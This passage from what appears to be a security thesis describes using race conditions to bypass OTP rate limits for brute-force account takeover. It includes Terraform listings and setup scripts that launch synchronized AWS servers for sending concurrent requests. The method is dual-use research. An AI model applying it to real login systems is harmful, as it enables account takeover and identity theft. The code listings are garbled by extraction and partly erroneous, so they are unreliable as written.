summed up as:

Figure 3.6: A scheme to visualize how GitLab verifies an email address through
the use of a token. [29]

After some trial and error, Kettle tried to attack starting from the "change email"
functionality. Here he tried to send two "change email" requests simultaneously
with the SPA, but with a different address specified in each of them, one that he
controlled and another that he did not. The result was that he received on the
controlled account an email with a link that enabled him to verify the email that
he did not control! The explanation for this behavior is that while one thread was
writing the email with the confirmation link, another was updating the shared
database with the codes and their relative email. So by sending the two requests at
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the same time, Kettle found a race window that allowed the second thread to update
the information in the database before the other could write the confirmation code
in the email. So, as a result, the mail was still sent to the right address, but the
code belonged to the updated address —that Kettle did not control.
An attack like this can potentially lead to account takeover, which is a much more
serious threat than the usual limit-overrun vulnerabilities, tied to sending more
requests concurrently to overcome a limitation.

Following the publication of this article, security experts and attackers around the
world began to search for unexplored race conditions. Online, there are already
many examples of how the single packet attack has been used to achieve new
discoveries in this field, and many more are expected to come.
The innovation introduced by this technique is something companies need to get
accustomed to, in order to prepare accordingly the security measures of their
systems. In this thesis, the single packet attack will be an invaluable tool to build
the attack we envisioned, described in the next section.

3.3 Attacking the OTP through a Race Condition

One-Time Passwords (OTP) enhance the security of a web application by adding of
a second factor to its authentication process. As security experts, however, we need
to verify this assumption by testing these systems for possible privilege escalations
or authentication bypass.

OTPs are not just an integral part of 2FA, but they are also adopted in many
interesting functionalities like "password recovery" or "change my password." Com-
promising one of these, could lead an attacker to a complete account takeover,
allowing access to private sensitive data and possibly also restricted services. This
attack is a form of identity theft and typically happens for financial gain in areas
like social media, credit counts, and government benefit accounts.

In order to better understand the context, let’s focus on some statistics. In
2021, a study of "Javelin Strategy & Research" [32] reported that traditional iden-
tity fraud losses rose by 79% compared to the 2020’s value, amounting to $24
billion. In the same year, identity fraud scams added another $28 billion, victimiz-
ing 22% of U.S. adults. In 2023, this value has increased up to 29%, amounting
to 20 million people; 1 out of 5 users reported that his account was taken over
in the last year. Companies suffering from an ATO leak not only are damaged
by a reputation stigma, pushing future customers towards competitors, but also
typically pay between $50 and $200 per incident. An IBM study [34] demonstrates
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Figure 3.7: The increase of account takeover victims between the U.S. population.
[33]

that an average corporate breach mainly costs $4.88 million. For users instead, the
median financial loss was $180, with the possibility of more devastating cases; in
particular, users may suffer various consequences:

Consequence 2021 2023
Identity theft 29% 40%

Financial losses 20% 35%
Subsequent account takeovers 16% 27%

No consequences 47% 29%

Table 3.2: Consequences of account takeover in 2021 and 2023.

Now that the importance of this attack is clear, let’s focus on how to achieve it.
No matter how easily we overcome the first stage of the authentication process or
how we target the "forgotten password" functionality. To achieve our goal in a 2FA
scenario, we need to provide the OTP tied to the second factor, being a mobile
device, an authenticator app, or an email address. However, this is not something
under our control but under the victim’s. We need a way to crack the OTP and
find the right code.
Since they are generated through random or pseudo-random functions, using also a
shared key and a secret seed, trying to crack the algorithm would require too much
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time and would not likely take us anywhere. In the end, an outside attacker is
typically forced to try to guess the code via what is called a brute-force attack.

A brute-force attack systematically tests all possible combinations of a parameter’s
value (being it of any kind: e.g., a password), until the correct one is found. For an
OTP, this approach highly depends on the token’s length: a code made by 6 digits
has precisely 106 = 1.000.000 combinations for the attacker to try out. However,
since modern computers are now capable of performing this attack in a feasible
time, a web application that lacks any security measure against indiscriminate
brute-forcing makes its 2FA mechanism almost useless. Having the OTP code
change every x seconds is a good strategy to make a brute-force attack harder, but
it is not nearly enough, especially if the attacker can still make all the requests he
wants.

Figure 3.8: A brute-force attack on usernames: in the payload column we see all
the attempted values. The 200 status code means we found a match.

To solve the brute-force attack problem, web application developers found a proper
answer: rate limiting. By imposing a limitation over the number of requests a
user can make in a given timeframe, successful brute-force attacks become much
harder to perform. However, this solution is not bulletproof. A rate limit is
enforced by checking the number of requests a user has made globally in a time
frame or specifically to a single functionality. That number is then updated and
stored somewhere on the server in a way that, at the next request, the defense
measures may come into play if the limit has been reached. But as demonstrated
in previous sections, developers often overlook considering thread concurrency in
web applications, leading to TOCTOU vulnerabilities. Thus, a race window might
exist between checking the request limit and updating the request count, that could
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lead to bypass the protection and perform more attempts than expected. Try-
ing more OTP codes than normal raises our chances of a successful account takeover.

Similar attacks have been attempted before and are of great inspiration for this
work. The first attack worth mentioning is the "password reset code brute-force
vulnerability" found in AWS Cognito by the security experts at Pentagrid AG
in 2021 [35]. By using concurrent requests, the testers were able to bypass the
20-attempts rate limit imposed by the application and submit 1587 codes before
being blocked. While this is not enough theoretically to break the OTP code (1587
tries are 0.16% of the total), this proves the presence of a race condition, making an
account takeover potentially possible. This attack employed the Turbo Intruder tool
of Burp Suite, developed by Kettle, that uses last-byte sync to find race conditions.

Figure 3.9: The script of the AWS Cognito attack: the code is evaluated and
inserted in the "code" parameter. "engine.openGate" allows to send the last bytes.
[35]

The second feat worth mentioning is the series of attacks that user Laxman
Muthiyah has attempted on major companies’ systems like Microsoft, Apple, and
Instagram. In 2019, the pentester found a vulnerability on Instagram through
which he could hack any user account [36]: by leveraging a distributed set of
machines and performing simultaneous attempts to guess the value of a code used
to protect the "forgot my password" functionality, he was able to make the server
process 200000 requests in a short amount of time. The test used only 20% of all
possible codes for a six digit OTP, but proved that an attack was indeed possible.
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Similar vulnerabilities were later discovered on other important companies systems
belonging to the likes of Microsoft and Apple.

These examples demonstrate how concurrency may be used to bypass rate limiting
in order to brute-force the OTP or a password in a web application. Nowadays,
with modern techniques like the single-packet attack, these exploits are all the
more accessible to attackers. In the next chapters, we will discuss a comprehensive
strategy to efficiently break the OTP mechanism.
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Chapter 4

Building the Attack

By exploiting race conditions during the rate limit check we can bypass this defense
mechanism and submit more requests than the server expects, potentially obtaining
a successful brute-force attack of a security critical parameter. Nevertheless, this
requires a significant amount of concurrent requests, which the single packet attack
cannot provide.

4.1 A distributed, multi-server approach
In the previous chapter, we looked at two attacks that used race condition vulnera-
bilities against OTP mechanisms. While both of them were fascinating in their
own right, Laxman Muthiyah’s attack stood out for its ingenious approach. In
order to maximize his chances, he decided to adopt concurrency not just between
the requests of the same machine but between different computers as well. This
behavior is very similar to a DDoS attack, with many distinct devices flooding one
server with an enormous amount of requests at the same time in order to slow it
or, at best, to take it down. DDoS offensives are very dangerous and very difficult
to defend against, which is why Laxman’s approach is so interesting. The strength
of this new proposition was acknowledged by Javan Rasokat, a security expert
who, in his master thesis [37], developed a tool called "Raceocat", which tested
web applications for race conditions by sending a request concurrently from many
distinct servers.
In summary, to send a huge volume of concurrent requests, we need to implement
distributed computing.

Distributed computing [38] [39] is a modern concept in which different components
of a system or application, scattered throughout different computers but still
connected by the same network, act in a coordinated way to solve one or more
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tasks. This is very different from centralized computing, where all the process-
ing happens on a single computer instance. The recent expansion of distributed
computing environments is mainly due to the fact that these systems are the
optimal solution for handling processes characterized by enormous computational
complexity, like massive-scale data processing, real-time response querying, and
resilience necessitating redundancy. Between the advantages of a similar model, we
also note:

• Efficiency: distributed environments offer greater performances by employing
optimal resource use and concurrent processing across different clustered
systems.

• Scalability: a distributed system can grow or be reduced alongside the
required workload.

• Availability: even when one node goes down, the system will not crash due
to the independence of each component.

• Consistency: computers share information and duplicate data between them,
while the system manages overall data consistency. This enhances the system’s
fault tolerance.

• Transparency: the user interacts with the whole environment as if it were a
single computer, without worrying about the single machine’s setup.

Figure 4.1: A high-level scheme of a distributed computing system. [40]

While traditional mainframes and supercomputers sufficed to handle data process-
ing complexity until now, the modern computational feats require a new divide and
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conquer approach based on concurrency, parallelism between different machines,
and the adoption of cheaper single entities.

Nowadays, distributed computing environments are everywhere. Web applica-
tions are a typical example of this model, since they might employ several machines
working together to handle the various backend’s tasks. However, if scaled up, this
approach can be used to face important challenges, including:

• Healthcare and Life Science: distributed computing is used for healthcare
diagnoses, medical drug researches, and studies on the complex nature of the
genomic data.

• Engineering research: it can be used to simulate mathematics and physics
concepts better, helping in different fields of electronics, plant engineering, etc.

• Financial services: here the model is used to simulate economic behaviors
like market movements or financial transactions.

• Energy and environment: the data coming from the vast set of sensors
can be processed to design eco-friendly solutions for the future.

Figure 4.2: Closer view of a distributed environment and its components.[41]

Distributed environments come in very different types and models, and we have to
understand the core variations between each of them in order to find the solution
that best fits this thesis’s requirements.

The first type of distributed environment is based on parallel and distributed
computing. In this model, complex tasks are decomposed into smaller problems
and solved simultaneously across clustered machines using parallel processing. Then
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the results are aggregated into a single output. In short, while local infrastructures
employ parallelism to multi-thread-intensive operations, the distributed computing
environment coordinates the local nodes through the use of a remote network,
enabling efficient scaling. The key difference between parallel and distributed
computing here is that in parallel processing, processors use shared memories to
exchange information. In distributed processing, instead, processors have each a
private memory and exchange information using message passing.

Figure 4.3: The typical model for a distributed computing environment. [42]

The second important model is related to cloud computing. Thanks to this
approach, as long as you have an internet connection, you can access a vast set of
virtual resources, including databases, networking, processing, and so on, all via
simple web APIs. Nowadays, cloud computing is de facto the standard solution for
businesses in search of additional computing resources to satisfy their requirements.
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Figure 4.4: A public cloud infrastructure. [43]

Similar to the aforementioned architectures is the paradigm of grid computing.
The model is made up of three tiers: the controller, the provider, and the user. To
sum up, the control node fulfills valid requests coming from the users and redirects
the resources of the providers in order to meet the specified requirements. An
additional feature of this model is that a grid can be made up by computers of
multiple individuals or organizations.

Figure 4.5: An example of grid computing. [44]

Nowadays, the best way to develop a distributed infrastructure on your own
is by using cloud computing. However, cloud computing can be implemented in
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different ways too, and it is crucial in this case to highlight their key differences:

• Public Cloud: the virtualized resources are offered by third-party vendors,
and can be rented by organizations and individuals alike. This solution is
cost-efficient and highly scalable, but, being public, it may have problems with
security.

• Private Cloud: here the resources are used exclusively by one organization.
Unlike the public case, here you get better security and control but less
scalability.

• Hybrid Cloud: it is a union between a private and a public cloud. Very
flexible but highly complex and expensive.

• Community Cloud: resources here are shared and used by a federation of
institutions or agencies. This collaborative solution is perfect for compliance
alignment, but it is limited on customization.

Another important distinction when dealing with cloud computing is the cloud
service model used by the providers.
Infrastructure-as-a-Service (IaaS) gives the user the structure (server, net-
working) but he has to manage the internal components (OS and applications).
This avoids the need to rent physical hardware; however, it requires management
by the end user.
Platform-as-a-Service (PaaS) has the provider offering a platform with a set of
tools and languages that the user has to utilize to develop his own infrastructure.
The provider manages servers, databases, etc., but the developers are restricted to
the offered languages.
Software-as-a-Service (SaaS) works in a way where the provider manages the
whole infrastructure while the user simply interacts with it. Customization is of
course limited, but it is simple to use and easily accessible.

The open access, the possibility to easily scale the infrastructure based on our needs,
and the reduced costs suggest that employing a public cloud is the best solution
for our attack. Amazon Web Services, or AWS, is a public cloud computing
platform provided by Amazon. It offers a mixture of all three cloud service models
and tools for databases, computing infrastructures, and analytics. In the next
section, we will detail how to leverage this platform to build the necessary system
for our attack.
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4.2 Using Cloud resources for our infrastructure
There are many ways to work with the AWS cloud, including easy-to-use web
APIs that allow easier and intuitive user interaction with the available and rented
resources. In our case, we aim to define the required infrastructure in a compact
manner, so that the AWS APIs are only used for providing commands to the
developed system. To achieve this purpose, we are going to use Terraform.

Terraform, an open source "Infrastructure-as-a-Code" tool developed by HashiCorp,
enables users to describe cloud or on-premise resources as a set of configuration files.
Terraform can be used for both single resources and for entire high-level systems
like a DNS architecture. Before looking at the code we wrote for our infrastructure,
we need to briefly speak about the way Terraform builds the specified resources.
Terraform is capable of interacting autonomously with the cloud or service APIs;
the programmer can avoid learning how the provider’s platform works and entrust
the set up of the requested configuration to Terraform. The part of the tool
that interacts with the target API’s is called a Terraform provider, and most
of them are publicly available to be used with common resource providers like
AWS, Microsoft Azure, or Google Cloud Platform. The typical workflow consists of

Figure 4.6: How Terraform interacts with the service provider. [45]

several of phases. Firstly, the programmer will specify the version of the tool and
the set of providers he wants to use for his infrastructure. Then he will describe
the resources he needs and how they are configured in a Terraform configuration
file. After the tool checks that the syntax is correct, it will plan the infrastructure
deployment, reporting the resources it is going to manage and the actions it is
going to perform. Crucial in this phase is also the state file, which stores the state
of the whole infrastructure: whether it is up and running, which components it
uses, etc. By checking the state file, Terraform may decide that to comply with
the configuration files, some resources need to be updated or destroyed. Lastly, the
plan has to be applied to be made effective; in this way, Terraform will interact
with the third-party APIs to build the infrastructure.
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Figure 4.7: Terraform workflow. [45]

Many companies nowadays utilize Terraform, not only for its open source nature
but also because it employs its own providers to manage autonomously third-party
resources. Moreover, Terraform’s infrastructures are "immutable", in the sense that
any new configuration substitutes the previous one, avoiding a spike in complexity
or a drop in performances due to the pileup of different updates. Other main
advantages of a similar tool are:

• Automation: Terraform connects and distributes resources on its own, making
the process faster.

• Reliability: with big infrastructures, configuration can be messy. Terraform,
instead, handles the resources in a consistent way.

• Optimization: it accelerates deployments, enabling real-time configuration
updates.

Now that we understand the key concept of Terraform’s workflow, let’s focus on
the code we used to develop our multi-server infrastructure on the AWS public cloud.

Before diving into the code, few prerequisites need to be noted: in order to
rent resources on AWS, you need an AWS account; online, there are various tu-
torials that can help the user set up one in a few steps. The second prerequisite
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is to install on your local machine Terraform, which can be done from the official
website, where a guide is also available to facilitate the experience with the tool.
Next, we will create a folder that is going to collect all of our configuration files,
and we are going to inspect each one of them.

The first file to analyze is the provider file. This file specifies the configura-
tion of the Terraform tool, setting up the right provider in order to talk correctly
with the AWS cloud. As we saw before, the provider is what Terraform uses to
interact with the third-party APIs. Another important thing that is specified here
is the region we are going to use when renting AWS resources; resources from the
AWS public cloud can be rented from more than 34 geographical regions and 108
availability zones, and the user has to specify where the resources he needs should
be placed. Different studies have underlined the importance of being close to the
target when attacking through race conditions in order to minimize the network
jitter. So, the possibility to choose the position of our architecture is very useful.

Listing 4.1: provider.tf
1 # Download the dependency :
2 t e r ra fo rm {
3 r equ i r ed_prov ide r s {
4 aws = {
5 source = " hash icorp /aws "
6 ve r s i on = " 4 . 6 7 . 0 "
7 }
8 }
9 }

10

11 # Set Up AWS:
12 prov ide r " aws " {
13 r eg i on = var . r eg i on
14 }

In the provider file, in the region attribute, you may note that the value that we
specify is var.region. Terraform in fact offers the possibility to parameterize its
files, allowing the possibility to create a custom variable and using it in Terraform
by referencing it as var.var_name. The variable file is where, for simplicity, we
collected all the variables we are using in this project. The advantage of using
variables is also that their values can be easily adjusted for future updates or
different requirements, making the project more reusable.

Listing 4.2: variable.tf (1)
1 v a r i a b l e " r eg i on " {
2 d e s c r i p t i o n = "The AWS reg ion in which the r e s o u r c e s w i l l be

c reated . "
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3 type = s t r i n g
4 d e f a u l t = " us−east −1"
5 }
6 v a r i a b l e " a v a i l a b i l i t y _ z o n e " {
7 d e s c r i p t i o n = "The a v a i l a b i l i t y zone where the r e s o u r c e s w i l l

r e s i d e . "
8 type = s t r i n g
9 d e f a u l t = " us−east −1a "

10 }

Apart from the region and availability zone variables, we need to briefly discuss
what the ami and instance_type ones are. An Amazon Machine Image is an image
that provides both the software and the information on the virtualized hardware
necessary to configure and launch an EC2 AWS machine (Elastic Compute Cloud).
A user can create his own AMI or use those already published, both private and
public. In this case, the AMI ID we specified corresponds to a public Ubuntu
machine with an x86_64 architecture and EBS storage. The instance type instead
is necessary for AWS in order to understand what type of resource you are renting
and how much the service should make you pay for its usage. A t2.mirco instance
allows us to keep the costs low and have good computing resources.

Listing 4.3: variable.tf (2)
1 v a r i a b l e " ami " {
2 d e s c r i p t i o n = "The ID o f the Amazon Machine Image (AMI) used to

c r e a t e the EC2 in s tance . "
3 type = s t r i n g
4 d e f a u l t = " ami−0261755 bbcb8c4a84 "
5 }
6 v a r i a b l e " instance_type " {
7 d e s c r i p t i o n = "The type o f EC2 in s t anc e used to c r e a t e the in s t anc e

. "
8 type = s t r i n g
9 d e f a u l t = " t2 . micro "

10 }

Now, let’s discuss the main project file, dividing it into its various components.
The first thing we did was create a VPC, or Virtual Private Cloud, which is a
logically isolated virtual network where we can connect and launch our instances.
Similarly to a normal network, we can define subnets or internet gateways to
connect our VPC to the internet and better control the network traffic. Notice we
have to use CIDR notation to specify an IP address block for our network resources.
Below, we defined a VPC, an internet gateway, and a subnet for our instances. To
connect the gateway and the subnet to our private network, we can pass the VPC
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ID to the configuration blocks of those elements.

Listing 4.4: main.tf (network resources)
1 # Create a vpc
2 r e s ou r c e " aws_vpc " " terra_vpc " {
3 c idr_block = " 1 0 . 0 . 0 . 0 / 1 6 "
4 tags = {
5 name = "my_vpc"
6 }
7 }
8 # Create an i n t e r n e t gateway
9 r e s ou r c e " aws_internet_gateway " " terra_IGW " {

10 vpc_id = aws_vpc . terra_vpc . id
11 tags = {
12 name = "my_IGW"
13 }
14 }
15 # c r e a t e a subnet
16 r e s ou r c e " aws_subnet " " terra_subnet " {
17 vpc_id = aws_vpc . terra_vpc . id
18 c idr_block = " 1 0 . 0 . 1 . 0 / 2 4 "
19 a v a i l a b i l i t y _ z o n e = var . a v a i l a b i l i t y _ z o n e
20

21 tags = {
22 name = " my_subnet "
23 }
24 }

Next, if we want to create a server instance, we need to configure the network so
that its resources can connect to the internet; in order to achieve this, we need to
define a route table that handles the outgoing traffic towards the web. In the
following code snippet, we defined the route table, configured the outgoing traffic
route from the subnet up to the web, and tied that route to our subnet and route
table.

Listing 4.5: main.tf (network configuration)(1)
1 # Create a custom route t ab l e
2 r e s ou r c e " aws_route_table " " terra_route_table " {
3 vpc_id = aws_vpc . terra_vpc . id
4 tags = {
5 name = " my_route_table "
6 }
7 }
8 # c r e a t e route
9 r e s ou r c e " aws_route " " ter ra_route " {

10 des t inat ion_c idr_block = " 0 . 0 . 0 . 0 / 0 "
11 gateway_id = aws_internet_gateway . terra_IGW . id
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12 route_table_id = aws_route_table . terra_route_table . id
13 }
14 # a s s o c i a t e i n t e r n e t gateway to the route t ab l e by us ing subnet
15 r e s ou r c e " aws_route_table_assoc iat ion " " te r ra_assoc " {
16 subnet_id = aws_subnet . terra_subnet . id
17 route_table_id = aws_route_table . terra_route_table . id
18 }

It is now crucial to define a security group for our VPC. A security group allows
you to define network rules both for the incoming and outgoing traffic of your
instances. Its behavior is similar to a firewall: by creating rules, you can decide
which connections are possible, which ports can be used, and which IP ranges are
acceptable. In our configuration, we defined three types of allowed incoming traffic
for our instances and one allowed outgoing connection; this code means that our
servers can receive incoming HTTPS traffic on port 443, incoming HTTP traffic on
the classic port 80, and SSH connections on port 22. The SSH rule is useful in case
we need to access directly our resource to perform some operations. The egress
rule instead states that it is permitted all the outgoing traffic towards the internet.

Listing 4.6: main.tf (network configuration)(2)
1 # c r e a t e s e c u r i t y group to a l low ingo ing por t s
2 r e s ou r c e " aws_security_group " " terra_SG " {
3 name = " sec_group "
4 d e s c r i p t i o n = " s e c u r i t y group f o r the EC2 in s t anc e "
5 vpc_id = aws_vpc . terra_vpc . id
6 i n g r e s s = [
7 {
8 d e s c r i p t i o n = " https t r a f f i c "
9 from_port = 443

10 to_port = 443
11 pro to co l = " tcp "
12 c idr_blocks = [ " 0 . 0 . 0 . 0 / 0 " , aws_vpc . terra_vpc . c idr_block ]
13 ipv6_cidr_blocks = [ ]
14 p r e f i x _ l i s t _ i d s = [ ]
15 secur i ty_groups = [ ]
16 s e l f = f a l s e
17 } ,
18 {
19 d e s c r i p t i o n = " http t r a f f i c "
20 from_port = 80
21 to_port = 80
22 pro to co l = " tcp "
23 c idr_blocks = [ " 0 . 0 . 0 . 0 / 0 " , aws_vpc . terra_vpc . c idr_block ]
24 ipv6_cidr_blocks = [ ]
25 p r e f i x _ l i s t _ i d s = [ ]
26 secur i ty_groups = [ ]
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27 s e l f = f a l s e
28 } ,
29 {
30 d e s c r i p t i o n = " ssh "
31 from_port = 22
32 to_port = 22
33 pro to co l = " tcp "
34 c idr_blocks = [ " 0 . 0 . 0 . 0 / 0 " , aws_vpc . terra_vpc . c idr_block ]
35 ipv6_cidr_blocks = [ ]
36 p r e f i x _ l i s t _ i d s = [ ]
37 secur i ty_groups = [ ]
38 s e l f = f a l s e
39 }
40 ]
41 e g r e s s = [
42 {
43 from_port = 0
44 to_port = 0
45 pro to co l = "−1"
46 c idr_blocks = [ " 0 . 0 . 0 . 0 / 0 " ]
47 d e s c r i p t i o n = " Outbound t r a f f i c r u l e "
48 ipv6_cidr_blocks = [ ]
49 p r e f i x _ l i s t _ i d s = [ ]
50 secur i ty_groups = [ ]
51 s e l f = f a l s e
52 }
53 ]
54 tags = {
55 name = " allow_web "
56 }
57 }

Up until now, we have configured the network components of our system so that
it could communicate with the internet and send requests to web applications
and other servers. In fact, we have yet to define our actual instances and connect
them to the network we have previously set up. The following code is aimed at
defining our EC2 instances and associating them to our VPC and subnets; in
this way we are going to create a multi-server system ready to send a massive
number of requests over the internet. We have to define three sets of components:
aws_network_interface, a set of aws_eip, and lastly, a set of aws_instance. An
aws_network_interface is a network interface attached to the EC2 instance; it is
useful to control network properties and associate a security group to the resource.
An aws_eip is an elastic IP, which is a static and public address that can be
connected to our instance, providing a fixed entry point even if the instance is
stopped or restarted. Lastly, the aws_instance is the real computing instance
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that is going to host our web server; it is defined using the AMI ID, the instance
type, a network interface, and other parameters that are useful to describe what
our instance is going to be. An important thing to notice is the count attribute;
this value is used to specify the number of elements Terraform is going to create.
In our case, we ask to create 4 AWS instances that will be used to host Apache
servers for our attack purposes. Of course, this means that any component tied to
our instances has to be instantiated four times too.

Listing 4.7: main.tf (instances)
1 # c r e a t e a network i n t e r f a c e with p r i va t e ip from step 4
2 r e s ou r c e " aws_network_interface " " t e r ra_net_ inte r f a ce " {
3 count = 4
4 subnet_id = aws_subnet . terra_subnet . id
5 secur i ty_groups = [ aws_security_group . terra_SG . id ]
6 }
7

8 # as s i gn a e l a s t i c ip to the network i n t e r f a c e c rea ted in s tep 7
9 r e s ou r c e " aws_eip " " t e r ra_e ip " {

10 count = 4
11 vpc = true
12 network_inter face = aws_network_interface . t e r ra_net_ in te r f a ce [ count

. index ] . id
13 assoc iate_with_pr ivate_ip = aws_network_interface .

t e r ra_net_ inte r f a ce [ count . index ] . pr ivate_ip
14 depends_on = [ aws_internet_gateway . terra_IGW , aws_instance .

terra_ec2 ]
15 }
16 # c r e a t e an ubuntu s e r v e r and i n s t a l l / enable apache2
17 r e s ou r c e " aws_instance " " terra_ec2 " {
18 count = 4
19 ami = var . ami
20 instance_type = var . instance_type
21 a v a i l a b i l i t y _ z o n e = var . a v a i l a b i l i t y _ z o n e
22

23 network_inter face {
24 device_index = 0
25 network_inter face_id = aws_network_interface . t e r ra_net_ inte r f a ce [

count . index ] . id
26 }
27

28 user_data = f i l e ( " ${path . module}/ user_data . sh " )
29

30 tags = {
31 name = " web_server "
32 }
33 }
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When writing the configuration of the aws_instance above, you may have noticed
the parameter called user_data, which took a shell script as an input. The
user_data attribute is very important when defining an instance; in fact, this
attribute allows a user to pass to the instance a set of shell commands that will be
executed at its launch. In our case, we configured all of our EC2 instances with
this shell script, whose only function is to install and start the Apache web server:

Listing 4.8: user_data.sh
1 #!/ bin /bash
2 sudo apt update −y
3 sudo apt i n s t a l l apache2 −y
4 sudo sys t emct l s t a r t apache2
5 echo " Deploy a web s e r v e r on aws " | sudo tee / var /www/html/ index . html

In the end, let’s talk about the output file. Terraform allows the user to define a
set of outputs that can be queried and computed after the configurations have been
successfully applied. Our output file is just used to print on the console the ID of
the resources we created: the ID of the VPC, the subnets, the instances, and so on.

Listing 4.9: output.tf
1 output " vpc_id " {
2 d e s c r i p t i o n = " vpc id "
3 value = aws_vpc . terra_vpc . id
4 }
5

6 output " subnet_id " {
7 d e s c r i p t i o n = " p r i va t e ip ( subnet ) "
8 value = aws_subnet . terra_subnet . id
9 }

10 output "IGW_id" {
11 d e s c r i p t i o n = " i n t e r n e t gateway id "
12 value = aws_internet_gateway . terra_IGW . id
13 }
14 output " route tab l e_id " {
15 d e s c r i p t i o n = " route t ab l e id "
16 value = aws_route_table . terra_route_table . id
17 }
18 output "SG_id" {
19 d e s c r i p t i o n = " s e c u r i t y group id "
20 value = aws_security_group . terra_SG . id
21 }
22 output " e ip " {
23 d e s c r i p t i o n = " pub l i c Ip o f e ip "
24 value = [ f o r x in aws_eip . t e r ra_e ip : x . publ ic_ip ]
25 }
26 output " in s tance_ids " {
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27 d e s c r i p t i o n = " IDs o f the EC2 in s tance "
28 value = [ f o r i n s t ance in aws_instance . terra_ec2 : i n s t anc e . id ]
29 }
30

31 output " instance_publ ic_ip " {
32 d e s c r i p t i o n = " Publ ic IP addre s s e s o f the EC2 in s t anc e "
33 value = [ f o r i n s t ance in aws_instance . terra_ec2 : i n s t anc e .

pr ivate_ip ]
34 }

Once we have written and validated these file, we can execute the commands that
will make Terraform interact with the AWS cloud.
terraform init is the first command needed and has the objective of setting up
the right Terraform version for the project.
terraform plan is used to plan the deployment of the resources previously defined
in the configuration files. This command will highlight any errors in the syntax or
problems with the providers and will report to the user the number of instances he
is going to create.
terraform apply is used to actually launch the Terraform files. This operation
will create the instances and the whole infrastructure written in the configuration
files. It will also create the state file terraform.tfstate, which is used to keep
track of any updates to the system. Once the command is over, we can connect
to the elastic IP tied to any of the instances using a web browser, and we will see
something like what is shown in Figure 4.8.
terraform destroy is also a crucial command; when the resources have finished
their purpose, they can be easily destroyed by Terraform without the user’s in-
volvement. To perform this, Terraform will simply read the state file and destroy
the specified resources. This is very important in AWS, as the more time the
infrastructure is up and running, the more you may have to pay.

Figure 4.8: Apache server running after the apply command. [46]

Having correctly configured a multi-server architecture, we are able to send
many requests from any of these servers or from all of them at once. However, we
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still lack one condition to enable real concurrency between the different instances:
we need to synchronize them using time.

4.3 Solving the Timing Problem
In previous chapters, we saw that the key to finding a race condition is sending
requests so that they land on the server in the minimum possible time frame.
This condition is crucial: even with thousands of requests, if their arrival time at
the server is largely different—a second of difference is already too much in this
situation—our attack won’t work.

By default, the EC2 instances are not synchronized. As with any distributed
system, even with similar machines there will always be some timing differences
in program execution or between the various instances’ clocks. In case an attack
aimed at exploiting a race condition was carried out from the previously designed
architecture, the packets would arrive at destination in the most diverse time
frames, preventing the pentester from getting the right timing and obtaining a real
exploit. Moreover, EC2 instance time tends to drift for a series of factors, including
ambient temperature [47]. This would mean that with our current infrastructure,
the longer it runs, the more the time of the different machines is going to grow
apart, making it less reusable. To solve both of these problems, which are typical
in distributed systems, AWS offers another useful feature: Amazon Time Sync
Service.

This AWS service is aimed at having coherent and precise clock time across different
machines. To achieve this, Amazon offers a fleet of "satellite-connected and atomic
reference clocks"[48], meaning that EC2 machines can connect periodically to these
devices in order to synchronize their internal time. The synchronization can be
done both locally, for better performance with AWS’s own AMI at the address
169.254.169.123, or via a public internet address, time.aws.com. In our case, all
we need to do is add a few code lines in the user_data.sh file; the instances’ AMI
we are using are able to connect to the local IP address of the service, but we need
to configure it. The code we are going to write will be as follows, respecting the
guidelines in the official documentation and this article [49]:

Listing 4.10: user_data.sh (2)
1 #i n s t a l l chrony :
2 sudo apt remove ntp∗ −y
3 sudo apt i n s t a l l chrony −y
4 sudo sys t emct l s t a r t chronyd
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5 sudo sed − i ’17 i s e r v e r 169 . 254 . 169 . 123 p r e f e r i b u r s t minpol l 0
maxpoll 0 ’ / e t c / chrony/chrony . conf

6 sudo / e tc / i n i t . d/ chrony r e s t a r t

Chrony is a versatile implementation of the Network Time Protocol (NTP) that
our EC2 instances are going to use to connect locally to the AWS Time Sync
Service. At launch, we are cleaning previous ntp directories, installing the tool on
our instance, and starting the chrony service. After these operations, we are editing
the chrony configuration file to ask chrony to perform periodic polling after a
specified time. That time is included between the 2minpoll and 2maxpoll values; in our
cases, they are both set to 20 = n1, which means that chrony will synchronize the
EC2 instances with the AWS time reference at each second. This new configuration
allows for better automation and reusability of our architecture, maintaining the
output timing of the requests coherent with the previous results.

Now that we have achieved a multi-server infrastructure, we are ready to per-
form concurrent requests to test web applications and their authentication systems.
However, the attack we have in mind is still only halfway possible. The next chapter
will focus on methods to improve the single packet attack to send hundreds of
thousands of requests in the smallest time window as possible.
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Chapter 5

Extending the Attack’s
Request Capacity

The single packet attack is a great and innovative way to spot race conditions and
to see how each web application deals with concurrency. However, when dealing
with OTPs and passwords, it is just not enough. This chapter explores the single
packet attack’s limitations and a way to improve it beyond them.

5.1 Overcoming the Single-Packet Attack limita-
tions

Sending 20 to 30 requests in parallel into a single packet is an incredible feat that
most organizations did not believe possible when developing their web applications.
This assumption opens the doors for attackers looking to exploit request concur-
rency to find a breach in a web system. However, the many vulnerabilities out
in the wild may not be actually highlighted by a similar technique, as they may
require a more prominent effort with the number of requests sent concurrently.

In this work’s situation for example, in order to prove that a system is vulnerable
to a brute-force of the OTPs, it is not enough to show that the rate-limit can be
bypassed. A 6-digits code has 1.000.000 possible combinations; even if the tester
proves he can send more requests than expected by the system, if the total request
number is not enough to prove that the OTP can actually be found with a certain
precision, it is not possible to demonstrate a vulnerability. However, the fact that
the tester has not found an actual exploit does not mean that the vulnerability
is not present. Penetration testers always work under a tight schedule and have
only a fixed time to asses a system’s security. That period is not always enough
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to find every security pitfall the web application may present, especially if the
vulnerability is subtle like a race conditions. The attack we need to design has to
provide its user a large enough request output that makes it possible to exploit a
wrong OTP’s authentication management.

How can the single-packet attack be expanded? When asked about it Kettle
provided two possible routes. The first is forcing the maximum segment size
at the TCP layer up; the second is by issuing TCP packets deliberately out of
order. Let’s analyze them in detail.

Figure 5.1: A visual representation of the MSS. [50]

MSS or Maximum Segment Size [51] is a parameter in the OPTION field of
the TCP header that specifies the maximum size of the TCP payload, which is the
actual data being transported by the protocol. To use an analogy, if the packet can
be seen as a transport truck, the MSS is the maximum measure of its trailer. In
fact, if the data part of the segment is larger than the specified MSS, then the whole
packet is dropped and not sent over the network. The MSS parameter is established
during the TCP handshake at the start of the connection; in that moment the
devices specify the size of packets their are willing to receive, through a message
called "MSS announcement" [52]. The end device often does not know anything
about the protocol used in the transmission, so network devices can rewrite the
MSS specified in the packets they process in order to adjust them to the connection.

The MSS value is calculated from another important metric: the MTU or Maxi-
mum Transmission Unit. This parameter specifies the largest packet or frame size
that can be sent over the network. Looking at figure 5.1, it’s clear that the MTU
